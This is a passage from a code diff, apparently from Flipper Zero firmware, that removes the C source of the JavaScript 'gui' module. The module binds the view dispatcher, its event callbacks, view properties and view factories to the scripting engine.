.ep_api_version = PLUGIN_API_VERSION,
.entry_point = &js_gui_icon_desc,
};
const FlipperAppPluginDescriptor* js_gui_icon_ep(void) {
return &plugin_descriptor;
}

View File

@@ -1,495 +0,0 @@
#include "../../js_modules.h" // IWYU pragma: keep
#include "./js_gui.h"
#include <furi.h>
#include <mlib/m-array.h>
#include <gui/view_dispatcher.h>
#include "../js_event_loop/js_event_loop.h"
#include <m-array.h>
#define EVENT_QUEUE_SIZE 16
typedef struct {
uint32_t next_view_id;
FuriEventLoop* loop;
Gui* gui;
ViewDispatcher* dispatcher;
// event stuff
JsEventLoopContract custom_contract;
FuriMessageQueue* custom;
JsEventLoopContract navigation_contract;
FuriSemaphore*
navigation; // FIXME: (-nofl) convert into callback once FuriEventLoop starts supporting this
} JsGui;
// Useful for factories
static JsGui* js_gui;
typedef struct {
uint32_t id;
const JsViewDescriptor* descriptor;
void* specific_view;
void* custom_data;
} JsGuiViewData;
static const JsValueEnumVariant js_gui_font_variants[] = {
{"primary", FontPrimary},
{"secondary", FontSecondary},
{"keyboard", FontKeyboard},
{"bit_numbers", FontBigNumbers},
};
const JsValueDeclaration js_gui_font_declaration = JS_VALUE_ENUM(Font, js_gui_font_variants);
/**
* @brief Transformer for custom events
*/
static mjs_val_t
js_gui_vd_custom_transformer(struct mjs* mjs, FuriEventLoopObject* object, void* context) {
UNUSED(context);
furi_check(object);
FuriMessageQueue* queue = object;
uint32_t event;
furi_check(furi_message_queue_get(queue, &event, 0) == FuriStatusOk);
return mjs_mk_number(mjs, (double)event);
}
/**
* @brief ViewDispatcher custom event callback
*/
static bool js_gui_vd_custom_callback(void* context, uint32_t event) {
furi_check(context);
JsGui* module = context;
furi_check(furi_message_queue_put(module->custom, &event, 0) == FuriStatusOk);
return true;
}
/**
* @brief ViewDispatcher navigation event callback
*/
static bool js_gui_vd_nav_callback(void* context) {
furi_check(context);
JsGui* module = context;
furi_semaphore_release(module->navigation);
return true;
}
/**
* @brief `viewDispatcher.sendCustom`
*/
static void js_gui_vd_send_custom(struct mjs* mjs) {
static const JsValueDeclaration js_gui_vd_send_custom_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeInt32),
};
static const JsValueArguments js_gui_vd_send_custom_args =
JS_VALUE_ARGS(js_gui_vd_send_custom_arg_list);
int32_t event;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gui_vd_send_custom_args, &event);
JsGui* module = JS_GET_CONTEXT(mjs);
view_dispatcher_send_custom_event(module->dispatcher, (uint32_t)event);
}
/**
* @brief `viewDispatcher.sendTo`
*/
static void js_gui_vd_send_to(struct mjs* mjs) {
typedef enum {
JsSendDirToFront,
JsSendDirToBack,
} JsSendDir;
static const JsValueEnumVariant js_send_dir_variants[] = {
{"front", JsSendDirToFront},
{"back", JsSendDirToBack},
};
static const JsValueDeclaration js_gui_vd_send_to_arg_list[] = {
JS_VALUE_ENUM(JsSendDir, js_send_dir_variants),
};
static const JsValueArguments js_gui_vd_send_to_args =
JS_VALUE_ARGS(js_gui_vd_send_to_arg_list);
JsSendDir send_direction;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gui_vd_send_to_args, &send_direction);
JsGui* module = JS_GET_CONTEXT(mjs);
if(send_direction == JsSendDirToBack) {
view_dispatcher_send_to_back(module->dispatcher);
} else {
view_dispatcher_send_to_front(module->dispatcher);
}
}
/**
* @brief `viewDispatcher.switchTo`
*/
static void js_gui_vd_switch_to(struct mjs* mjs) {
static const JsValueDeclaration js_gui_vd_switch_to_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeAny),
};
static const JsValueArguments js_gui_vd_switch_to_args =
JS_VALUE_ARGS(js_gui_vd_switch_to_arg_list);
mjs_val_t view;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gui_vd_switch_to_args, &view);
JsGuiViewData* view_data = JS_GET_INST(mjs, view);
mjs_val_t vd_obj = mjs_get_this(mjs);
JsGui* module = JS_GET_INST(mjs, vd_obj);
view_dispatcher_switch_to_view(module->dispatcher, (uint32_t)view_data->id);
mjs_set(mjs, vd_obj, "currentView", ~0, view);
}
static void* js_gui_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
// get event loop
JsEventLoop* js_loop = js_module_get(modules, "event_loop");
if(M_UNLIKELY(!js_loop)) return NULL;
FuriEventLoop* loop = js_event_loop_get_loop(js_loop);
// create C object
JsGui* module = malloc(sizeof(JsGui));
module->loop = loop;
module->gui = furi_record_open(RECORD_GUI);
module->dispatcher = view_dispatcher_alloc_ex(loop);
module->custom = furi_message_queue_alloc(EVENT_QUEUE_SIZE, sizeof(uint32_t));
module->navigation = furi_semaphore_alloc(EVENT_QUEUE_SIZE, 0);
view_dispatcher_attach_to_gui(module->dispatcher, module->gui, ViewDispatcherTypeFullscreen);
view_dispatcher_send_to_front(module->dispatcher);
// subscribe to events and create contracts
view_dispatcher_set_event_callback_context(module->dispatcher, module);
view_dispatcher_set_custom_event_callback(module->dispatcher, js_gui_vd_custom_callback);
view_dispatcher_set_navigation_event_callback(module->dispatcher, js_gui_vd_nav_callback);
module->custom_contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object = module->custom,
.object_type = JsEventLoopObjectTypeQueue,
.non_timer =
{
.event = FuriEventLoopEventIn,
.transformer = js_gui_vd_custom_transformer,
},
};
module->navigation_contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object = module->navigation,
.object_type = JsEventLoopObjectTypeSemaphore,
.non_timer =
{
.event = FuriEventLoopEventIn,
},
};
// create viewDispatcher object
mjs_val_t view_dispatcher = mjs_mk_object(mjs);
JS_ASSIGN_MULTI(mjs, view_dispatcher) {
JS_FIELD(INST_PROP_NAME, mjs_mk_foreign(mjs, module));
JS_FIELD("sendCustom", MJS_MK_FN(js_gui_vd_send_custom));
JS_FIELD("sendTo", MJS_MK_FN(js_gui_vd_send_to));
JS_FIELD("switchTo", MJS_MK_FN(js_gui_vd_switch_to));
JS_FIELD("custom", mjs_mk_foreign(mjs, &module->custom_contract));
JS_FIELD("navigation", mjs_mk_foreign(mjs, &module->navigation_contract));
JS_FIELD("currentView", MJS_NULL);
}
// create API object
mjs_val_t api = mjs_mk_object(mjs);
mjs_set(mjs, api, "viewDispatcher", ~0, view_dispatcher);
*object = api;
js_gui = module;
return module;
}
static void js_gui_destroy(void* inst) {
furi_assert(inst);
JsGui* module = inst;
view_dispatcher_free(module->dispatcher);
furi_event_loop_maybe_unsubscribe(module->loop, module->custom);
furi_event_loop_maybe_unsubscribe(module->loop, module->navigation);
furi_message_queue_free(module->custom);
furi_semaphore_free(module->navigation);
furi_record_close(RECORD_GUI);
free(module);
js_gui = NULL;
}
/**
* @brief Assigns a `View` property. Not available from JS.
*/
static bool
js_gui_view_assign(struct mjs* mjs, const char* name, mjs_val_t value, JsGuiViewData* data) {
const JsViewDescriptor* descriptor = data->descriptor;
for(size_t i = 0; i < descriptor->prop_cnt; i++) {
JsViewPropDescriptor prop = descriptor->props[i];
if(strcmp(prop.name, name) != 0) continue;
// convert JS value to C
JsViewPropValue c_value;
const char* expected_type = NULL;
switch(prop.type) {
case JsViewPropTypeNumber: {
if(!mjs_is_number(value)) {
expected_type = "number";
break;
}
c_value = (JsViewPropValue){.number = mjs_get_int32(mjs, value)};
} break;
case JsViewPropTypeString: {
if(!mjs_is_string(value)) {
expected_type = "string";
break;
}
c_value = (JsViewPropValue){.string = mjs_get_string(mjs, &value, NULL)};
} break;
case JsViewPropTypeArr: {
if(!mjs_is_array(value)) {
expected_type = "array";
break;
}
c_value = (JsViewPropValue){.term = value};
} break;
case JsViewPropTypeTypedArr: {
if(!mjs_is_typed_array(value)) {
expected_type = "typed_array";
break;
}
c_value = (JsViewPropValue){.term = value};
} break;
case JsViewPropTypeBool: {
if(!mjs_is_boolean(value)) {
expected_type = "bool";
break;
}
c_value = (JsViewPropValue){.boolean = mjs_get_bool(mjs, value)};
} break;
}
if(expected_type) {
mjs_prepend_errorf(
mjs, MJS_BAD_ARGS_ERROR, "view prop \"%s\" requires %s value", name, expected_type);
return false;
} else {
return prop.assign(mjs, data->specific_view, c_value, data->custom_data);
}
}
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "view has no prop named \"%s\"", name);
return false;
}
/**
* @brief Sets the list of children. Not available from JS.
*/
static bool js_gui_view_internal_set_children(
struct mjs* mjs,
mjs_val_t children,
JsGuiViewData* data,
bool do_reset) {
if(do_reset) data->descriptor->reset_children(data->specific_view, data->custom_data);
for(size_t i = 0; i < mjs_array_length(mjs, children); i++) {
mjs_val_t child = mjs_array_get(mjs, children, i);
if(!data->descriptor->add_child(mjs, data->specific_view, data->custom_data, child))
return false;
}
return true;
}
/**
* @brief `View.set`
*/
static void js_gui_view_set(struct mjs* mjs) {
static const JsValueDeclaration js_gui_view_set_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeString),
JS_VALUE_SIMPLE(JsValueTypeAny),
};
static const JsValueArguments js_gui_view_set_args = JS_VALUE_ARGS(js_gui_view_set_arg_list);
const char* name;
mjs_val_t value;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gui_view_set_args, &name, &value);
JsGuiViewData* data = JS_GET_CONTEXT(mjs);
bool success = js_gui_view_assign(mjs, name, value, data);
UNUSED(success);
mjs_return(mjs, MJS_UNDEFINED);
}
/**
* @brief `View.addChild`
*/
static void js_gui_view_add_child(struct mjs* mjs) {
static const JsValueDeclaration js_gui_view_add_child_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeAny),
};
static const JsValueArguments js_gui_view_add_child_args =
JS_VALUE_ARGS(js_gui_view_add_child_arg_list);
mjs_val_t child;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gui_view_add_child_args, &child);
JsGuiViewData* data = JS_GET_CONTEXT(mjs);
if(!data->descriptor->add_child || !data->descriptor->reset_children)
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "this View can't have children");
bool success = data->descriptor->add_child(mjs, data->specific_view, data->custom_data, child);
UNUSED(success);
mjs_return(mjs, MJS_UNDEFINED);
}
/**
* @brief `View.resetChildren`
*/
static void js_gui_view_reset_children(struct mjs* mjs) {
JsGuiViewData* data = JS_GET_CONTEXT(mjs);
if(!data->descriptor->add_child || !data->descriptor->reset_children)
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "this View can't have children");
data->descriptor->reset_children(data->specific_view, data->custom_data);
mjs_return(mjs, MJS_UNDEFINED);
}
/**
* @brief `View.setChildren`
*/
static void js_gui_view_set_children(struct mjs* mjs) {
static const JsValueDeclaration js_gui_view_set_children_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeAnyArray),
};
static const JsValueArguments js_gui_view_set_children_args =
JS_VALUE_ARGS(js_gui_view_set_children_arg_list);
mjs_val_t children;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gui_view_set_children_args, &children);
JsGuiViewData* data = JS_GET_CONTEXT(mjs);
if(!data->descriptor->add_child || !data->descriptor->reset_children)
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "this View can't have children");
js_gui_view_internal_set_children(mjs, children, data, true);
}
/**
* @brief `View` destructor
*/
static void js_gui_view_destructor(struct mjs* mjs, mjs_val_t obj) {
JsGuiViewData* data = JS_GET_INST(mjs, obj);
view_dispatcher_remove_view(js_gui->dispatcher, data->id);
if(data->descriptor->custom_destroy)
data->descriptor->custom_destroy(data->specific_view, data->custom_data, js_gui->loop);
data->descriptor->free(data->specific_view);
free(data);
}
/**
* @brief Creates a `View` object from a descriptor. Not available from JS.
*/
static mjs_val_t js_gui_make_view(struct mjs* mjs, const JsViewDescriptor* descriptor) {
void* specific_view = descriptor->alloc();
View* view = descriptor->get_view(specific_view);
uint32_t view_id = js_gui->next_view_id++;
view_dispatcher_add_view(js_gui->dispatcher, view_id, view);
// generic view API
mjs_val_t view_obj = mjs_mk_object(mjs);
JS_ASSIGN_MULTI(mjs, view_obj) {
JS_FIELD("set", MJS_MK_FN(js_gui_view_set));
JS_FIELD("addChild", MJS_MK_FN(js_gui_view_add_child));
JS_FIELD("resetChildren", MJS_MK_FN(js_gui_view_reset_children));
JS_FIELD("setChildren", MJS_MK_FN(js_gui_view_set_children));
}
// object data
JsGuiViewData* data = malloc(sizeof(JsGuiViewData));
*data = (JsGuiViewData){
.descriptor = descriptor,
.id = view_id,
.specific_view = specific_view,
.custom_data =
descriptor->custom_make ? descriptor->custom_make(mjs, specific_view, view_obj) : NULL,
};
mjs_set(mjs, view_obj, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, data));
mjs_set(mjs, view_obj, MJS_DESTRUCTOR_PROP_NAME, ~0, MJS_MK_FN(js_gui_view_destructor));
return view_obj;
}
/**
* @brief `ViewFactory.make`
*/
static void js_gui_vf_make(struct mjs* mjs) {
const JsViewDescriptor* descriptor = JS_GET_CONTEXT(mjs);
mjs_return(mjs, js_gui_make_view(mjs, descriptor));
}
/**
* @brief `ViewFactory.makeWith`
*/
static void js_gui_vf_make_with(struct mjs* mjs) {
static const JsValueDeclaration js_gui_vf_make_with_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeAnyObject),
JS_VALUE_SIMPLE(JsValueTypeAny),
};
static const JsValueArguments js_gui_vf_make_with_args =
JS_VALUE_ARGS(js_gui_vf_make_with_arg_list);
mjs_val_t props, children;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gui_vf_make_with_args, &props, &children);
const JsViewDescriptor* descriptor = JS_GET_CONTEXT(mjs);
// make the object like normal
mjs_val_t view_obj = js_gui_make_view(mjs, descriptor);
JsGuiViewData* data = JS_GET_INST(mjs, view_obj);
// assign properties one by one
mjs_val_t key, iter = MJS_UNDEFINED;
while((key = mjs_next(mjs, props, &iter)) != MJS_UNDEFINED) {
furi_check(mjs_is_string(key));
const char* name = mjs_get_string(mjs, &key, NULL);
mjs_val_t value = mjs_get(mjs, props, name, ~0);
if(!js_gui_view_assign(mjs, name, value, data)) {
mjs_return(mjs, MJS_UNDEFINED);
return;
}
}
// assign children
if(mjs_is_array(children)) {
if(!data->descriptor->add_child || !data->descriptor->reset_children)
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "this View can't have children");
if(!js_gui_view_internal_set_children(mjs, children, data, false)) return;
}
mjs_return(mjs, view_obj);
}
mjs_val_t js_gui_make_view_factory(struct mjs* mjs, const JsViewDescriptor* view_descriptor) {
mjs_val_t factory = mjs_mk_object(mjs);
mjs_set(mjs, factory, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, (void*)view_descriptor));
mjs_set(mjs, factory, "make", ~0, MJS_MK_FN(js_gui_vf_make));
mjs_set(mjs, factory, "makeWith", ~0, MJS_MK_FN(js_gui_vf_make_with));
return factory;
}
extern const ElfApiInterface js_gui_hashtable_api_interface;
static const JsModuleDescriptor js_gui_desc = {
"gui",
js_gui_create,
js_gui_destroy,
&js_gui_hashtable_api_interface,
};
static const FlipperAppPluginDescriptor plugin_descriptor = {
.appid = PLUGIN_APP_ID,
.ep_api_version = PLUGIN_API_VERSION,
.entry_point = &js_gui_desc,
};
const FlipperAppPluginDescriptor* js_gui_ep(void) {
return &plugin_descriptor;
}

Some files were not shown because too many files have changed in this diff Show More